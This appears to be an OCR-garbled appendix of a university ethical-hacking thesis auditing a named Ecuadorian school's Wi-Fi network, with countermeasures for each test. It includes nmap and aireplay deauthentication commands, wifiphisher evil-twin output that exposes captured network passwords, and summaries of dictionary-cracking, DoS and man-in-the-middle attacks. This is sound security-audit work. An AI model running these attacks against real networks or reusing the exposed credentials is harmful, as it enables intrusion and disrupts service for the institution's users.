1 0741 -82  Management Beacon DA:408:0B:62:77:7%9  [Broadcast] 514 SSID: Unidad Educativa P...
2 0741 - Management  Beacon — CC:€4:R6:3D:34:9D  [Broadcast] 310 55ID: TELECOM- RED LLE...
3 07421 | BB Management Beacon  9C:R2:F4:8F:73:04  [Broadcast] 384 SSID: ITSPESTUDIANTES2
4 07421 Management Beacon  9C:A2:F4:8F:73:1E  [Broadcast] 385 SSID: ITSP.CONTABILIDADY
5 0743 Management  Beacon  AC:15:22:B0:25:64  [Broadcast] o72 SSID: ITSP.SECRETARIA
6 0743 Management  Beacon  D&:€X:éA:AT7:0E:A7 [Broadcast] 449 SSID: DIRECT-1zMFC-T810...
7 0740 Management  Beacon  FA:D0:27:50:E8:30  [Broadcast] am SSID: DIRECT-27506830
1li Visor de paquetes v
v 802.11 packet - Management - Beacon - 00 01 02 03 04 05 06 07 0B 09 OA OB OC OD OE |
» RadioTap 0000 00 00 1A 00 6F 18 00 00 OF 4F OB 00 00 00 0O O
> Teee20211 0010 01 02 9E 09 80 00 AE 60 00 7F 80 00 00 00 FF FI

0020 EF FF FF FF D& 49 0B 62 77 79 D& 49 OB 62 77 T¢
Frame Check Seguence

0030 00 00 F4 12 E5 OE 02 00 OO OO OO OO 51 04 00 1f

0 Offset:

98



Analisis/ Conclusién/ Observacion

Se encuentra habilitados los beacons frames para acceder a la red inalambrica, lo que posibilita la

obtencion de informacion del software y hardware del dispositivo.

Contramedidas

Desactivar la transmision de los "beacon frames" implica que la red inalambrica no se anunciara
automaticamente, lo que significa que los usuarios interesados deberan ingresar manualmente la

informacién, como el nombre de la red (SSID), para encontrarla y conectarse.

Lecturas Adicionales

https://www.owisam.org/es/Descubrimiento_de_dispositivos_ OWISAM-DI
https://www.owisam.org/essfOWISAM-DI-005

https://www.owisam.org/essfOWISAM-DI-003

Observaciones

Subfase de Metodologia ISSAF: Recoleccion de informacion.
Control OWISAM: OWISAM Discovery.

Subcontrol OWISAM: Descubrimiento activo de dispositivos y redes (OWISAM-DI-005).

Modo de ataque:

Pasivo
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https://www.owisam.org/es/Descubrimiento_de_dispositivos_OWISAM-DI
https://www.owisam.org/es/OWISAM-DI-005
https://www.owisam.org/es/OWISAM-DI-003

Prueba 2. Identificacion de funcionalidades soportadas por el dispositivo.

Proceso

Conseguir detalles del dispositivo, tales como la informacién del fabricante, el controlador utilizado,

la velocidad de transmision, el tiempo de respuesta, entre otros, mediante Acrylic Wifi Analyzer en la

seccion de Paquetes
Pre- requisitos
Instalar Acrylic Wifi Analyzer

Ejemplos/Resultados

||. \Vlisor de paguetes

v 802.11 packet - Management - Beacon
»  RadioTap
¥  TeeeB0211
»  Frame Control: 8x88

¥ Management

Duration: 0 micro- i |
Address1: “:FF:FF - Broadcast
Source Address: 2459:8B:62:77:79 - HUAWEI
TECHNOLOGIES CO.LTD

BSSID: D8:49:8B:62:77:79 - HUAWEI
TECHNOLOGIES CO.LTD

Sequence control: B9x8008
v Beacon
v  Fixed
Time Stamp: 9xG0000PB20EES12F4
Beacon Interval: @ TUs
»  Capabilities: 8x8431
¥ Information Elements
v Ssid: Unidad Educativa Pelileo
Element Id: @
Length: 24
Ssid: Unidad Educativa Pelileo
*»  Supported Rates: 0x0801
» DS Parameter Set: Channel 11

100

-ou 01 02 03 04 05 06 07 0B 03 OA

0000 00 00 1A 00 6F 18 00 00 OF 4F OB C
0010 0L 02 9E 03 B0 00 AE 60 00 7F 80 C
0020 FF FF FF FF D& 43 OB 62 77 79 D 4
0030 00 00 F4 12 E5 OE 02 00 00 00 00 C
0040 55 6E 69 64 61 64 20 45 64 75 63 ¢
0050 20 50 65 6C 69 6C 65 GF, 01 08 82 E
0060 16 24 03 0L OB 07 06 45 43 20 01 C
0070 00 00 OF AC 02 02 00 00 OF AC 04 C
0080 00 00 OF AC 02 00 00 DD 1A 00 50 E
0050 50 F2 02 02 00 00 50 F2 04 00 50 E
D0A0 50 F2 02 2A 01 02 32 04 30 48 60 ¢
00BO F2 02 01 0L 08 00 03 A4 00 00 27 2
00CO SE 00 62 32 ZF 00 DD 1E 00 90 4C :
00D0 FF 00 00 00 00 00 00 00 00 00 00 €
D0E0 00 00 00 00 00 00 2D 1A 4E 10 1B E
DOFO 00 00 00 00 00 00 OO 00 00 00 00 C
0100 00 00 DD 1A 00 90 4C 34 OB 08 DA C
0110 00 00 00 00 00 00 00 00 00 00 00 C
0120 0B 08 0A 00 00 00 00 00 00 00 00 C
0130 00 00 00 00 00 00 4A OE 14 00 DA C
0140 14 00 05 00 19 00 7F 01 01 DD 09 C
Pt R
[  Offset: Bloque: 0000-006F



Analisis/ Conclusién/ Observacion

Se logré adquirir datos tales como el fabricante, , el SSID, la direccion MAC, la encriptacion, la

autenticacion entre otros.

Contramedidas

Es recomendable que las redes de comunicacion inalambrica utilicen nombres no indicativos de la
organizacion y, en su lugar, opten por denominaciones genéricas con el fin de mitigar riesgos asociados

a posibles ataques de suplantacion de puntos de acceso.

Lecturas Adicionales

OWISAM:
https://www.owisam.org/es/Archivo:Controles OWISAM_ES .xIsx
https://www.tarlogic.com/servicios/auditoria-wireless-seguridad-wifi/owisam/

https://auditoriawifi.es/controles-owisam/

Observaciones

Subfase de Metodologia ISSAF: Escaneo.
Control OWISAM: OWISAM Fingerprinting.

Subcontrol OWISAM: Identificacion de funcionalidades soportadas por el dispositivo (OWISAM-
FP-002).

Modo de Ataque:

Pasivo.
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https://www.owisam.org/es/Archivo:Controles_OWISAM_ES.xlsx
https://www.tarlogic.com/servicios/auditoria-wireless-seguridad-wifi/owisam/
https://auditoriawifi.es/controles-owisam/

Prueba 3. Pruebas sobre WPS.

Proceso

Comprobar si los dispositivos cuentan con la funcion WPS habilitada.

Pre- requisitos

Instalar Acrylic Wifi Analyzer

Ejemplos/Resultados
88D |Diraccion MAC RS3l 8021 Vel. W. WPA Wea2 W %l Fabricante
0 CTEDGARG. FE4p:adetmal:d | B0 bg. 2 PSK-CCMP PSK-CC.. HUAWEITE...
O TSPDOCENTE.  FC:EC:DA:LL:l4:ER . bgn . PSK-CC.. Ubiquiti Ne..
O DRECT750. T:DO:2:50:EE:30 1 qn 722 PSK-CC.. 10 SeikoEpso..
O UnidadFducat. D8:48:08:62:77:7¢ bgn 300 PSK-(TKL..  PSK-(TK.. 10 HUAWEITE..
0 RECTORADD DB:07:B4:30:E6:ER bgn 300 PSK-CC.. 10 TP-LINKTE..
DIRECT-IZMFC-..  DE:éR:én:AT:0E:RT 1 gn 722 PSK-CC. 10 Hon HaiPre...
TELECOM-RED..  cC:64:25:30:34:%0 S0 bon A PSK-(TKL..  PSK-(TK.. HUAWEITE...

Andlisis/ Conclusion/ Observacion

La red de la institucion tiene habilitado el protocolo WPS
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Contramedidas

Desactivar la funcionalidad de WPS en los dispositivos y enrutadores inaldmbricos.

Configurar WPAZ2 estableciendo un intervalo prudente para la renovacion de claves.

Lecturas Adicionales

ISSAF:

http://www.oissg.org/issaf.html

OWISAM:

https://www.owisam.org/es/Archivo:Controles OWISAM_ES .xIsx

https://www.tarlogic.com/servicios/auditoria-wireless-seguridad-wifi/owisam/

https://auditoriawifi.es/controles-owisam/

Observaciones

Subfase de Metodologia ISSAF: Auditoria.

Control OWISAM: Pruebas sobre la autenticacion.

Subcontrol OWISAM: Pruebas sobre WPS (OWISAM-AU-002).

Modo de Ataque:

Pasivo.
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http://www.oissg.org/issaf.html
https://www.owisam.org/es/Archivo:Controles_OWISAM_ES.xlsx
https://www.tarlogic.com/servicios/auditoria-wireless-seguridad-wifi/owisam/
https://auditoriawifi.es/controles-owisam/

Prueba 4. Interfaces accesibles desde la red.

Proceso

Determinar el procedimiento de acceso a la administracion del dispositivo inalambrico en la

Institucion.

Esta Prueba se realiz6 después de ejecutar los ataques activos para conocer el Gateway de la red.

Pre- requisitos

Navegador Web

Ejemplos/Resultados

v @ HeeAs X 4+

¢« C A Noesseguro 10.67.138.1

W Hesas

HUAWEI

ressr

104



Analisis/ Conclusién/ Observacion

Se verific que el acceso a la administracién del dispositivo inaldmbrico estd habilitado, lo que lo

vuelve vulnerable a posibles accesos no autorizados por parte de un atacante.

Contramedidas

Desactivar el acceso a la administracion del dispositivo inalambrico cuando no sea esencial, o
implementar medidas de seguridad adicionales, como autenticacién multifactor y restricciones de
direcciones IP autorizadas, para mitigar el riesgo de accesos no autorizados.

Lecturas Adicionales

ISSAF:

http://www.oissg.org/issaf.html

OWISAM:

https://www.owisam.org/es/Archivo:Controles OWISAM_ES.xlIsx
https://www.tarlogic.com/servicios/auditoria-wireless-seguridad-wifi/owisam/

https://auditoriawifi.es/controles-owisam/

Observaciones

Subfase de Metodologia ISSAF: Auditoria
Control OWISAM: Andlisis de Infraestructura.

Subcontrol OWISAM: Interfaces administrativas expuestas a la red (OWISAM-IF-002).

Modo Ataque

Pasivo

105


http://www.oissg.org/issaf.html
https://www.owisam.org/es/Archivo:Controles_OWISAM_ES.xlsx
https://www.tarlogic.com/servicios/auditoria-wireless-seguridad-wifi/owisam/
https://auditoriawifi.es/controles-owisam/

Prueba 5. Prueba de APs/Router

Proceso

Identificar los puertos, protocolos y servicios de enrutamiento que estén abiertos.

Esta Prueba se realiz6 después de ejecutar los ataques activos para conocer el Gateway de la red.

Pre- requisitos

Instalar Zenmap.

Ejemplos/Resultados

Escaneo Herramientas Perfil Ayuda (H)
Objetivo: | 10.67.138.1 ~ | Perfil: ~ | |Escaneo Cancelar

Comando: |nmap -sS -sV -p 1-65535 10.67.138.1

Servidores Salida Nmap Puertos / Servidores Topologia Detalles del servidor Escaneos

Servicio - nmap -sS -sV -p 1-65535 10.67.138.1 ~ Detalles

domain Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-18 12:17 Hora
est. Pacifico, Sudamérica

ftp NSOCK ERROR [©.1568s] ssl_init_helper(): OpenSSL legacy provider

http failed to load. "

telnet Nmap scan report for 18.67.138.1

Host is up (©.8891s latency).
Not shown: 65538 closed tcp ports (reset)

PORT STATE SERVICE VERSION

21/tcp filtered Ftp

23/tcp open telnet Huawei Home Gateway telnetd
S53/tcp open domain dnsmasq 2.49

88/tcp open http Huawei HG8245 modem http admin
49152/tcp open http Huawei HG8245T modem http config

MAC Address: D8:49:8B:62:77:70 (Huawei Technologies)
Service Info: Device: broadband router; CPE: cpe:/
h:huawei:hg8245, cpe:/h:huawei:hg8245t

Service detection performed. Please report any incorrect results
at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 131.29 seconds

Filtrar servidores
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= Zenmap -
Escanec Herramientas Perfil  Ayuda (H)
Objetivo: | 1-65535 10.67.138.1 ~ | Perfik ~| |Escaneo

Comando: | nmap -0 -Pn 1-63333 10.67.138.1

Servicios Salida Nmap Puertos / Servidores Topologia Detalles del servidor  Escaneos

05 4 Servidor - E 10.67.138.1
10.67.138.1 [=I Estado del servidor

Estado: up
Puertos abiertos: 17 “"
Puertos filtrados: 1
Puertos cerrados: 933
Puertos escaneados: 1011
Tiempo activo: Mo disponible ‘
Ultima inicializacién:  No dispenible

= Direcciones
IPvd: 10671381

IPv: Mo dispenible
MAC: Mo disponible

[=] Sistema operativo
Nembre: Microsoft Windows 10 1809 - 1909

Precision: 100%

=l Puertos usados
Puerto-Protocolo-Estado: 135 - tcp - open

Puerto-Protocolo-Estado: 1 - tep - closed
Puerto-Protocolo-Estado: 32828 - udp - closed

= Clases de 05
Tipo Fabricante Familia 05 Generacidn 05 Precisidn

general purpose  Microsoft  Windows 10 100%

Filtrar servidores

Analisis/ Conclusion/ Observacion

"Not shown: 65530 closed protocols" sefiala que 65530 puertos estan cerrados, reflejando una practica

cautelosa en este aspecto.

El puerto 23 esté abierto, pero se especifica que la administracion del dispositivo inalambrico se realiza

a través de la web y no a través de este puerto.

Contramedidas

Modificar los valores predeterminados de configuracion en los dispositivos inalambricos.

Lecturas Adicionales

ISSAF:

http://www.oissg.org/issaf.html
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http://www.oissg.org/issaf.html

Observaciones

Subfase de Metodologia ISSAF: Auditoria.

Modo de Ataque:

Pasivo

Prueba 6. Verificacion del grado de amplitud de sefial o &rea de alcance.

Proceso

Determinar si la cobertura de la red se extiende o no dentro de los limites de la institucién segln los

niveles de potencia.

Pre- requisitos

Revisar Controles OWISAM

Ejemplos/Resultados
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8sID Q 2.4GHz Y Anadir filtro b |

SSID 4Direccion MAC RSSI 8021 Vel... W.. WPA WPA2 W. WPS Fabricante
@ ITSPDOCENTE... FC:EC:DR:11:14:ER - b.g.n 14.. PSK-CC... Ubiquiti Ne..
@ DIRECT-27506... FR:D0:27:50:E =77 a.n 722 PSK-CC... 1.0 Seiko Epso..,
@ Unidad Educat.. DB8:49:0B:62:77:79 =77 b.g.n 300 PSK-(TKL... PSK-(TK... 1.0 HUAWEI TE...
il. Gréficas de Red ® Informacion de dispositivo D Calidad de red

Intensidad de sefal

Buena
Deébil
Mala

11:40:00 11:41:00 11:42:00 11:43:00 11:44:00

Andlisis/ Conclusion/ Observacion

Se pudo verificar el nivel de la sefial; existen redes inaldmbricas vecinas configuradas y que trabajan
en el mismo érea de cobertura de sefial.

Contramedidas

Ajustar y optimizar la configuracion de la potencia de la red inalambrica para que se alinee de manera
precisa con los limites fisicos de la institucion. Ademas, se podria considerar la implementacion de

tecnologias como VLANSs y firewalls para reforzar la segmentacion de la red.
Lecturas Adicionales

OWISAM:

https://www.owisam.org/es/Archivo:Controles OWISAM_ES .xlIsx
https://www.tarlogic.com/servicios/auditoria-wireless-seguridad-wifiowisam/

https://auditoriawifi.es/controles-owisam/
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Observaciones

Subfase de Metodologia ISSAF: Andlisis y Busqueda.
Control OWISAM: Pruebas de configuracion de la plataforma.

Subcontrol OWISAM: Verificacion del nivel de intensidad de sefial o &rea de cobertura (OWISAM-
CF-003).

Modo de Ataque:

Pasivo

Prueba 7. Analisis protocolos de cifrado WEP, TKIP

Proceso

Evaluar los protocolos de cifrado (WEP, TKIP) y comprobar las posibles vulnerabilidades de seguridad

en lared.

Pre- requisitos

Instalar el Sistema Operativo Kali Linux, utilizar la suite Aircrack.

Ejemplos/Resultados
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root@kali: fhome/kali
File Actions Edit View Help

CH 7 ][ Elapsed: 1 min ][ 2023-12-05 15:20 ][ interface wlan® down

BSSID PWR eacor #Data, #/ CH MB ENC CIPHER AUTH ESSID

v

WPA2 CCMP PSK Aleja
M PSK RECTORADO

PSK TELECOM- RED LLERENA
SPEEDY-GADMP

PSK VICERECTORADO

PSK LABORATORIO3

PSK ITSP.SECRETARIA

PSK TSP.ESTUDIANT

N
NN
W
ee e
-
== NN

[y

oo N

4
1
P
3
5

O

2 CCMP PSK idad Educativa Pelileo
WDAD CCMD DSK TSD_CONTARTI TDAD1
WPA2 CCMP PSK .ESTUDIANTES
WPA2 CCMP PSK TSP.DOCENTES02
WPA2 CCMP PSK ITSP.ESTUDIANTES2

e
o
[

N

SN POEOOSOOSOS

MW WWwr

w

U O Wwiw
O 0w
NS o3
[y
W W =

Andlisis/ Conclusion/ Observacion

Se observé que los dispositivos inaldmbricos estan establecidos con la configuracion de WPA PSK-
TKIP.

Lecturas Adicionales

OWISAM:https://www.owisam.org/es/Archivo:Controles_ OWISAM_ES.xlIsx
https://www.tarlogic.com/servicios/auditoria-wireless-seguridad-wifiowisam/

https://auditoriawifi.es/controles-owisam/

Observaciones

Subfase de Metodologia ISSAF: Auditoria.
Control OWISAM: Pruebas sobre directivas y normativa.

Subcontrol OWISAM: Andlisis de la configuracion de dispositivos (OWISAM-GD-004).

Modo de Ataque:

Pasivo
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Prueba 8. Captura y cracking de claves transmitidas en el proceso de autenticacion

Proceso

Comprobar la captura de contrasefias transmitidas durante el proceso de autenticacion en la red Wi-Fi.
Pre- requisitos

Instalar el SO Kali Linux, wifiphisher

Ejemplos/Resultados

sudo] password for kali:

*] Starting Wifiphisher 1.4GIT ( https://wifiphisher.org ) at 2023-12-19 10:24
] Timezone detected. Setting channel range to 1-13

] Selecting wf -wlan® interface for the deauthentication attack

] Selecting wlan® interface for creating the rogue Access Point

] Changing wlan® MAC addr (BSSID) to 00:00:00:3e:6c:34

] Changing wlan® MAC addr (BSSID) to 00:00:00:b4:88:e4

*] Cleared leases, started DHCP, set up iptables

] Selecting Network Manager Connect template

] Starting the fake access point...

] Starting HTTP/HTTPS server at ports 8080, 443

] Show your support!

] Follow us: https://twitter.com/wifiphisher

]

[r
[
[
[
[
[,
[,
[
[
[
[
[
[
[

+] Like us: https://ww.facebook.com/Wifiphisher
[+] Captured credentials:
wfphshr-wpa-password=uepelileo2023q
wfphshr-wpa-password=uepelileo202364
wfphshr-wpa-password=uepelileo202364

[ ] Closing

Analisis/ Conclusién/ Observacion

Se logré obtener credenciales en el proceso de autenticacion de la red inalambrica
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Contramedidas

Adoptar protocolos de cifrado fuertes como WPAS3, implementar autenticacion de dos factores y

mantener una vigilancia constante mediante monitoreo de red

Lecturas Adicionales

OWISAM:

https://www.owisam.org/es/Archivo:Controles_ OWISAM_ES.xlsx
https://www.tarlogic.com/servicios/auditoria-wireless-seguridad-wifiowisam/

https://auditoriawifi.es/controles-owisam/

Observaciones

Subfase de Metodologia ISSAF: Explotacion y Ataque.

Control OWISAM: Pruebas sobre la autenticacion.

Subcontrol OWISAM: Captura y cracking de claves transmitidas en el proceso de autenticacion
(OWISAM-AU-004).

Modo de Ataque: Activo.

Modo de Ataque:

Activo
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Prueba 9. Pruebas de deautenticacion

Proceso

Cortar la conexion de los usuarios, impidiendo el acceso a los servicios en la red inalambrica.
Pre- requisitos

Instalar el SO Kali Linux, Aircrack.-ng suite

Ejemplos/Resultados

sudo airepl -@ 380 - 8:40: wlan@mon
11:10:46 Waiting for beauon f (BSSID: DB:49:0B: 7:79) on channel
MB: this attack is more effective when targeting
a uanneuted wireless client (- liﬁnT'5 mar:W.
11: 46  Sending De (code ast
11: 47 ing (code
11: ing De (code 7)
13: 8 : (code 7)
11: Sending DeAuth (code
11:1@:4 Sending De (code b:oqd
11:10:50 Sending De (code broadc
11: @ Sending De (code 7) bload:a
11: Sending De (code 7)
11: Sending De (code
11: 2 Sending De (code to broadca
11:10 Sending De (code 7]
11:18: Sending De (code to broadc
11: Sending De (code broadc
11: 4 Sending De (code 7) blnqdc.
11: L ing De (code 7) blnqdca
11: 35 ing De (code bxoqd
11: ing (code
11:10:56 Sending De (code 7)

—+

+
mm

+ + +

mmmmomm
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-+
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=t
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+
:
=]
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Andlisis/ Conclusion/ Observacion

Se llevé a cabo la des autenticacion del servicio de Internet para un Unico usuario, requiriéndole asi

que se vuelva a conectar a la red.
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Contramedidas

Se recomienda implementar sistemas de deteccidon de intrusos, filtrar trfico anémalo y fortalecer

métodos de autenticacion

Lecturas Adicionales

OWISAM:

https://www.owisam.org/es/Archivo:Controles_ OWISAM_ES.xlsx

https://www.tarlogic.com/servicios/auditoria-wireless-seguridad-wifiowisam/

https://auditoriawifi.es/controles-owisam/

Observaciones

Subfase de Metodologia ISSAF: Explotacion y Ataque.

Control OWISAM: Denegacion de servicio.

Subcontrol OWISAM: Pruebas de deautenticacion (OWISAM-DS-001).

Modo de Ataque:

Activo
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Anexo C. Informe de Vulnerabilidades identificadas con pruebas de intrusion en la
red de la Institucion

ﬁ UNIVERSIDAD TECNICA DE AMBATO
FACULTAD DE INGENIERIA EN SISTEMAS,

ELECTRONICA E INDUSTRIAL

CARRERA DE TECNOLOGIAS DE LA INFORMACION

HACKING ETICO PARA LA DETECCION DE VULNERABILIDADES
MEDIANTE LA UTILIZACION DE HERRAMIENTAS OPEN SOURCE EN
LA RED INALAMBRICA DE LA UNIDAD EDUCATIVA PELILEO

Realizado por: Shirley NUfiez | Nombre del | Obtencion de

Documento : contrasefias

Objetivo:

Determinar si la red es vulnerable para el cracking de contrasefias para la
evaluacion de seguridad de la red

Técnica:

La técnica fue el ataque de fuerza bruta y diccionario
Herramientas tecnoldgicas aplicadas:

Kali Linux, Aircrack-ng.

Tiempo de ejecucion:

Se empled tres horas y 23 minutos para este ataque, ya que se hizo una
comparacion con el diccionario rockyou con mas de 14 millones de las contrasefias
que se puede encontrar.

Resultados Obtenidos:

La red posee una contrasefia basada en los estandares propuestos por lo que no se
pudo obtener la clave.

Recomendaciones:

e Imponer politicas de contrasefias robustas.
e Implementar autenticacién de dos factores para aumentar la seguridad.
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UNIVERSIDAD TECNICA DE AMBATO

FACULTAD DE INGENIERIA EN SISTEMAS,
ELECTRONICA E INDUSTRIAL

CARRERA DE TECNOLOGIAS DE LA INFORMACION

HACKING ETICO PARA LA DETECCION DE VULNERABILIDADES
MEDIANTE LA UTILIZACION DE HERRAMIENTAS OPEN SOURCE EN
LA RED INALAMBRICA DE LA UNIDAD EDUCATIVA PELILEO

Realizado por: Shirley Nufiez | Nombre del | Autenticacion de la

Documento: red Inaldmbrica

Objetivo:

Determinar si la red es vulnerable ante Ingenieria Social para evaluar la seguridad
de red

Técnica:

La técnica fue el ataque de Evil Twin o portal cautivo
Herramientas tecnoldgicas aplicadas:

Kali Linux, wifiphisher.

Tiempo de ejecucion:

Se empleo 1 hora para este ataque, debido a la intermitencia de la red y el tiempo
en que los usuarios se conectaban para poder capturar informacion.

Resultados Obtenidos:

Se logrd obtener las credenciales de la red, al engafiar a los usuarios con un portal
cautivo similar al de la red.

Recomendaciones:

e Implementar estdndares de seguridad robustos como WPAS en lugar de
WPA o WEP.
e Utilizar autenticacion de dos factores para el acceso a la red.
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UNIVERSIDAD TECNICA DE AMBATO

FACULTAD DE INGENIERIA EN SISTEMAS,
ELECTRONICA E INDUSTRIAL

CARRERA DE TECNOLOGIAS DE LA INFORMACION

HACKING ETICO PARA LA DETECCION DE VULNERABILIDADES
MEDIANTE LA UTILIZACION DE HERRAMIENTAS OPEN SOURCE EN
LA RED INALAMBRICA DE LA UNIDAD EDUCATIVA PELILEO

Realizado por: Shirley Nufiez | Nombre del | Interrupcion de

Documento: servicio

Objetivo:

Evaluar la vulnerabilidad de la red frente a interrupciones de servicios y
sobrecarga, con el proposito de analizar la capacidad de la red para resistir ataques
que busquen interrumpir su funcionamiento normal

Técnica:

La técnica fue el ataque de DoS
Herramientas tecnoldgicas aplicadas:
Kali Linux, Aircrack-ng

Tiempo de ejecucion:

Se emple6 20 minutos para este ataque, al enviar 200 mensajes se esperé que se
procese los mismo para seguir enviando mas trafico de red.

Resultados Obtenidos:
Se logro des autenticar a toda la red, asi como a un solo usuario de la misma.
Recomendaciones:

e Implementar firewalls y sistemas de deteccion de intrusiones para filtrar el
trafico malicioso.

e Utilizar servicios de mitigacion de DDoS para manejar grandes volumenes
de tréfico.

e Configurar reglas y limites de conexion para prevenir conexiones excesivas
desde una Unica fuente.
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UNIVERSIDAD TECNICA DE AMBATO

FACULTAD DE INGENIERIA EN SISTEMAS,
ELECTRONICA E INDUSTRIAL

CARRERA DE TECNOLOGIAS DE LA INFORMACION

HACKING ETICO PARA LA DETECCION DE VULNERABILIDADES
MEDIANTE LA UTILIZACION DE HERRAMIENTAS OPEN SOURCE EN LA
RED INALAMBRICA DE LA UNIDAD EDUCATIVA PELILEO

Realizado por: Shirley Nufiez Nombre del | Captura de trafico de

Documento: datos

Objetivo:

Evaluar la vulnerabilidad de la red mediante un andlisis de sniffing para la
evaluacion de susceptibilidad de la informacion transmitida.

Técnica:

La técnica fue el ataque Man-in-the-Middle

Herramientas tecnoldgicas aplicadas:

Kali Linux, Aircrack-ng, Ettercap

Tiempo de ejecucion:

Se empleo dos horas para este ataque, debido a la intermitencia de la red.
Resultados Obtenidos:

Se logro obtener credenciales de un login que se generé con el trafico http
Recomendaciones:

e Utilizar conexiones seguras mediante el cifrado de datos. HTTPS para sitios
web y VPNs para conexiones de red.
e Establecer protocolos seguros como WPA3 para redes Wi-Fi.
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